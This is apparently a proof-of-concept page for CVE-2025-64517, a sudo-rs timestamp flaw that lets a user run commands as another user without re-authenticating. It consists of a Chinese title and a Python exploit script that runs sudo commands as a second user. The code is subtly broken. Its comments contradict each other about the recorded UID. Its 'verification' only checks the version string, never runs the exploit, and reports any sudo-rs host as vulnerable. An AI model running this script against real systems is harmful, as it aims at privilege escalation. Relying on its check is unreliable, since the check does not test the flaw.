CVE-2025-64517 sudo-rs认证时间戳记录错误导致权限绕过

# CVE-2025-64517 PoC - sudo-rs Authentication Timestamp Bypass # Environment: sudo-rs 0.2.5-0.2.9 with Defaults targetpw or rootpw configured # Attack Goal: Bypass authentication to run commands as other users import subprocess import time def exploit_cve_2025_64517(): """ Exploitation steps: 1. Attacker knows password for user A 2. Policy allows user A to run commands as user B 3. Attacker runs: sudo -u userB command 4. System prompts for user A's password (due to targetpw) 5. Attacker enters user A's password, command executes as userB 6. Timestamp records user A's UID instead of userB's UID 7. Attacker runs another command as userB 8. System uses cached timestamp, bypasses authentication """ # Step 1: Initial authentication with targetpw # This authenticates with userA's password but timestamp records userA's UID subprocess.run(['sudo', '-u', 'userB', '-k']) # Clear timestamp result1 = subprocess.run(['sudo', '-u', 'userB', 'id'], capture_output=True) # Expected: Prompts for password, executes as userB # Step 2: Subsequent command bypasses authentication # Timestamp still valid, system uses userA's UID from timestamp result2 = subprocess.run(['sudo', '-u', 'userB', 'whoami'], capture_output=True) # Expected: No password prompt, executes as userB return result1, result2 def verify_vulnerability(): """ Verification: Check if second sudo call prompts for password If no prompt: vulnerability exists If prompt: vulnerability patched """ print("Testing CVE-2025-64517...") print("If timestamp bypass works, second command should not require password") # Check sudo-rs version result = subprocess.run(['sudo', '--version'], capture_output=True, text=True) if 'sudo-rs' in result.stdout: print("sudo-rs detected") return True if __name__ == '__main__': verify_vulnerability()